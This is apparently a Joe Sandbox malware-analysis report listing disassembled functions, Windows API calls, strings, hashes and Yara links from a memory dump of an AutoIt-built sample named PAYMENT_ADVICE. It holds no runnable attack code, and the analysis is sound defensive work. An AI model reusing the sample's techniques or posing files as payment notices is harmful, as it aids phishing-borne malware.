                                                              • Instruction Fuzzy Hash: 9C916A346043019BCB1AEF14C462B6EB7E5AF95350F05886DF8969F7A2CB31ED09CB81
                                                              Function 003CB7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 003CB8B4
                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,003C91C2), ref: 003CB910
                                                              • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 003CB949
                                                              • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 003CB98C
                                                              • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 003CB9C3
                                                              • FreeLibrary.KERNEL32(?), ref: 003CB9CF
                                                              • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 003CB9DF
                                                              • DestroyIcon.USER32(?,?,?,?,?,003C91C2), ref: 003CB9EE
                                                              • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 003CBA0B
                                                              • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 003CBA17
                                                                • Part of subcall function 00362EFD: __wcsicmp_l.LIBCMT ref: 00362F86
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                              • String ID: .dll$.exe$.icl
                                                              • API String ID: 1212759294-1154884017
                                                              • Opcode ID: dffa24c4be865476f5c8d847b1198d224fa9b0ccf8fd291a79a1e9b15e19b1d4
                                                              • Instruction ID: c3c0064c6fe6fbc1c652d918c54cf99c157e67cb56553d6fccab72a675704863
                                                              • Opcode Fuzzy Hash: dffa24c4be865476f5c8d847b1198d224fa9b0ccf8fd291a79a1e9b15e19b1d4
                                                              • Instruction Fuzzy Hash: C861D171900619BEEB16DF64CC42FBEBBACEB08710F10851AF915DA1D0DB75AD90DBA0
                                                              Function 003AA352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              • CharLowerBuffW.USER32(?,?), ref: 003AA3CB
                                                              • GetDriveTypeW.KERNEL32 ref: 003AA418
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003AA460
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003AA497
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003AA4C5
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
                                                              • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                              • API String ID: 2698844021-4113822522
                                                              • Opcode ID: 3db7b7d1990f261a576d92f9317a21510f6f073a845ccfdcef139ff940315e20
                                                              • Instruction ID: 5aa47db62b82950c659fd395d2a142e193fd78b1ec176f3cffce7cb69bf0a28c
                                                              • Opcode Fuzzy Hash: 3db7b7d1990f261a576d92f9317a21510f6f073a845ccfdcef139ff940315e20
                                                              • Instruction Fuzzy Hash: 43517E725047059FC706EF25C88196BB3E8FF89758F00886DF88A9B261DB71ED09CB42
                                                              Function 0039F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,0037E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 0039F8DF
                                                              • LoadStringW.USER32(00000000,?,0037E029,00000001), ref: 0039F8E8
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,0037E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 0039F90A
                                                              • LoadStringW.USER32(00000000,?,0037E029,00000001), ref: 0039F90D
                                                              • __swprintf.LIBCMT ref: 0039F95D
                                                              • __swprintf.LIBCMT ref: 0039F96E
                                                              • _wprintf.LIBCMT ref: 0039FA17
                                                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0039FA2E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
                                                              • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                              • API String ID: 984253442-2268648507
                                                              • Opcode ID: 91949e64ce59c3db7f4b37937b407a9b355c956f52c216356c7ff284cc0074e5
                                                              • Instruction ID: df5d78ffaae86d917c1d9f96064fb28c13f1e18e3e7b7d7a57eeedd94d1e7d9c
                                                              • Opcode Fuzzy Hash: 91949e64ce59c3db7f4b37937b407a9b355c956f52c216356c7ff284cc0074e5
                                                              • Instruction Fuzzy Hash: 5F410D72904109AACF16FBE4DD86EEEB7B8AF14300F500465F505BA0A2EB356F49CB61
                                                              Function 003CBA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,003C9207,?,?), ref: 003CBA56
                                                              • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,003C9207,?,?,00000000,?), ref: 003CBA6D
                                                              • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,003C9207,?,?,00000000,?), ref: 003CBA78
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,?,003C9207,?,?,00000000,?), ref: 003CBA85
                                                              • GlobalLock.KERNEL32(00000000), ref: 003CBA8E
                                                              • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,003C9207,?,?,00000000,?), ref: 003CBA9D
                                                              • GlobalUnlock.KERNEL32(00000000), ref: 003CBAA6
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,?,003C9207,?,?,00000000,?), ref: 003CBAAD
                                                              • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,003C9207,?,?,00000000,?), ref: 003CBABE
                                                              • OleLoadPicture.OLEAUT32(?,00000000,00000000,003D2CAC,?), ref: 003CBAD7
                                                              • GlobalFree.KERNEL32(00000000), ref: 003CBAE7
                                                              • GetObjectW.GDI32(00000000,00000018,?), ref: 003CBB0B
                                                              • CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 003CBB36
                                                              • DeleteObject.GDI32(00000000), ref: 003CBB5E
                                                              • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 003CBB74
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                              • String ID:
                                                              • API String ID: 3840717409-0
                                                              • Opcode ID: 78f3dae36036702a7d6605aa74f8695ad0b6ed2e66f80fa9f9b0a0a48d813a49
                                                              • Instruction ID: f17f1f23f5016b651718aa676f461824e69454b8fafde4d7b65d1377944e0f9c
                                                              • Opcode Fuzzy Hash: 78f3dae36036702a7d6605aa74f8695ad0b6ed2e66f80fa9f9b0a0a48d813a49
                                                              • Instruction Fuzzy Hash: DE410579600208AFDB129F65DC89EABBBBDFB89711F114069F945D7260D730AE01DB60
                                                              Function 003AD899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __wsplitpath.LIBCMT ref: 003ADA10
                                                              • _wcscat.LIBCMT ref: 003ADA28
                                                              • _wcscat.LIBCMT ref: 003ADA3A
                                                              • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 003ADA4F
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 003ADA63
                                                              • GetFileAttributesW.KERNEL32(?), ref: 003ADA7B
                                                              • SetFileAttributesW.KERNEL32(?,00000000), ref: 003ADA95
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 003ADAA7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                              • String ID: *.*
                                                              • API String ID: 34673085-438819550
                                                              • Opcode ID: a3dee539afa816c6f8e5ee59dd9a5bab61587d1ad305d082f3481aee25e31950
                                                              • Instruction ID: a147f1384ad4c9e0bda992e79599c35190caae1f2717e6e647e7d0ca4cde7864
                                                              • Opcode Fuzzy Hash: a3dee539afa816c6f8e5ee59dd9a5bab61587d1ad305d082f3481aee25e31950
                                                              • Instruction Fuzzy Hash: CA8181715043419FCB66DF64C844AAFB7E8EF8A710F15882EF88ACB651E730E945CB52
                                                              Function 003CC1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 003CC1FC
                                                              • GetFocus.USER32 ref: 003CC20C
                                                              • GetDlgCtrlID.USER32(00000000), ref: 003CC217
                                                              • _memset.LIBCMT ref: 003CC342
                                                              • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 003CC36D
                                                              • GetMenuItemCount.USER32(?), ref: 003CC38D
                                                              • GetMenuItemID.USER32(?,00000000), ref: 003CC3A0
                                                              • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 003CC3D4
                                                              • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 003CC41C
                                                              • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 003CC454
                                                              • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 003CC489
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                              • String ID: 0
                                                              • API String ID: 1296962147-4108050209
                                                              • Opcode ID: 0f8eb2a40c91769d11f155bd4efd7c7767ab6d4ba2b23d00b096d01930ea1350
                                                              • Instruction ID: 9f60d047ff7c8a1f2cbd4361442619ca38d2c1c3063172e8a893ed9d31e8d84b
                                                              • Opcode Fuzzy Hash: 0f8eb2a40c91769d11f155bd4efd7c7767ab6d4ba2b23d00b096d01930ea1350
                                                              • Instruction Fuzzy Hash: 7E8177712183019FDB16DF15D894E6BBBE9EB88314F00892EF999D7291C730ED05CB52
                                                              Function 003B731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDC.USER32(00000000), ref: 003B738F
                                                              • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 003B739B
                                                              • CreateCompatibleDC.GDI32(?), ref: 003B73A7
                                                              • SelectObject.GDI32(00000000,?), ref: 003B73B4
                                                              • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 003B7408
                                                              • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 003B7444
                                                              • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 003B7468
                                                              • SelectObject.GDI32(00000006,?), ref: 003B7470
                                                              • DeleteObject.GDI32(?), ref: 003B7479
                                                              • DeleteDC.GDI32(00000006), ref: 003B7480
                                                              • ReleaseDC.USER32(00000000,?), ref: 003B748B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                              • String ID: (
                                                              • API String ID: 2598888154-3887548279
                                                              • Opcode ID: 6cae7d77b0bfb161d871ba64e35e5177700c1f2cedac7be50c0cee3606036897
                                                              • Instruction ID: ea61deead637a89b3266803787d9e08cba0bc8a4f49f147af36d3c8bdc7ae06f
                                                              • Opcode Fuzzy Hash: 6cae7d77b0bfb161d871ba64e35e5177700c1f2cedac7be50c0cee3606036897
                                                              • Instruction Fuzzy Hash: 69514C75904309EFCB16CFA9CC85EAEBBB9EF88710F148429FA5997610C731A9408B90
                                                              Function 00346A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00360957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00346B0C,?,00008000), ref: 00360973
                                                                • Part of subcall function 00344750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00344743,?,?,003437AE,?), ref: 00344770
                                                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00346BAD
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00346CFA
                                                                • Part of subcall function 0034586D: _wcscpy.LIBCMT ref: 003458A5
                                                                • Part of subcall function 0036363D: _iswctype.LIBCMT ref: 00363645
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
                                                              • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                              • API String ID: 537147316-1018226102
                                                              • Opcode ID: 791066c340205791937a4ad1567c1a9086bfeb77bf47b9414a2d06b5da0126fb
                                                              • Instruction ID: 60b0c3633761e779dcabc906f9e037a826e1f75196ee75168d2bfb7d448c6bdf
                                                              • Opcode Fuzzy Hash: 791066c340205791937a4ad1567c1a9086bfeb77bf47b9414a2d06b5da0126fb
                                                              • Instruction Fuzzy Hash: B802A1315083409FC726EF24C891AAFBBE5EF99314F10491DF4999B2A2DB34E949CB53
                                                              Function 003A2D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003A2D50
                                                              • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 003A2DDD
                                                              • GetMenuItemCount.USER32(00405890), ref: 003A2E66
                                                              • DeleteMenu.USER32(00405890,00000005,00000000,000000F5,?,?), ref: 003A2EF6
                                                              • DeleteMenu.USER32(00405890,00000004,00000000), ref: 003A2EFE
                                                              • DeleteMenu.USER32(00405890,00000006,00000000), ref: 003A2F06
                                                              • DeleteMenu.USER32(00405890,00000003,00000000), ref: 003A2F0E
                                                              • GetMenuItemCount.USER32(00405890), ref: 003A2F16
                                                              • SetMenuItemInfoW.USER32(00405890,00000004,00000000,00000030), ref: 003A2F4C
                                                              • GetCursorPos.USER32(?), ref: 003A2F56
                                                              • SetForegroundWindow.USER32(00000000), ref: 003A2F5F
                                                              • TrackPopupMenuEx.USER32(00405890,00000000,?,00000000,00000000,00000000), ref: 003A2F72
                                                              • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 003A2F7E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                              • String ID:
                                                              • API String ID: 3993528054-0
                                                              • Opcode ID: 2de90735afc916d3f085f8f94331c9d9605d670844d441b4b4bcfa56a3028687
                                                              • Instruction ID: b65d0e660c3b6908785824a2ad278cb162583e289ec5dd8fbfd5ef4dd1780123
                                                              • Opcode Fuzzy Hash: 2de90735afc916d3f085f8f94331c9d9605d670844d441b4b4bcfa56a3028687
                                                              • Instruction Fuzzy Hash: 5171B270600205BEEB269F58DC45FABBF69FF06364F144216F625AA1E1C7716C60DB90
                                                              Function 003B88AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 003B88D7
                                                              • CoInitialize.OLE32(00000000), ref: 003B8904
                                                              • CoUninitialize.OLE32 ref: 003B890E
                                                              • GetRunningObjectTable.OLE32(00000000,?), ref: 003B8A0E
                                                              • SetErrorMode.KERNEL32(00000001,00000029), ref: 003B8B3B
                                                              • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,003D2C0C), ref: 003B8B6F
                                                              • CoGetObject.OLE32(?,00000000,003D2C0C,?), ref: 003B8B92
                                                              • SetErrorMode.KERNEL32(00000000), ref: 003B8BA5
                                                              • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 003B8C25
                                                              • VariantClear.OLEAUT32(?), ref: 003B8C35
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                              • String ID: ,,=
                                                              • API String ID: 2395222682-2941206825
                                                              • Opcode ID: 83621b4678e4821fe6ba61ac336e4cd3c0c2b9bb4386185faf3f7850498704ac
                                                              • Instruction ID: e868af2f9449b5f5743bb1f1d60f29dfe71fd8bd64660629035f618a37d67052
                                                              • Opcode Fuzzy Hash: 83621b4678e4821fe6ba61ac336e4cd3c0c2b9bb4386185faf3f7850498704ac
                                                              • Instruction Fuzzy Hash: 0CC104B1608305AFC702DF64C88496BBBE9FF89748F00495DFA8A9B251DB71ED05CB52
                                                              Function 003977DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              • _memset.LIBCMT ref: 0039786B
                                                              • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 003978A0
                                                              • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 003978BC
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 003978D8
                                                              • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00397902
                                                              • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 0039792A
                                                              • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00397935
                                                              • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0039793A
                                                              Strings
                                                              Memory Dump Source
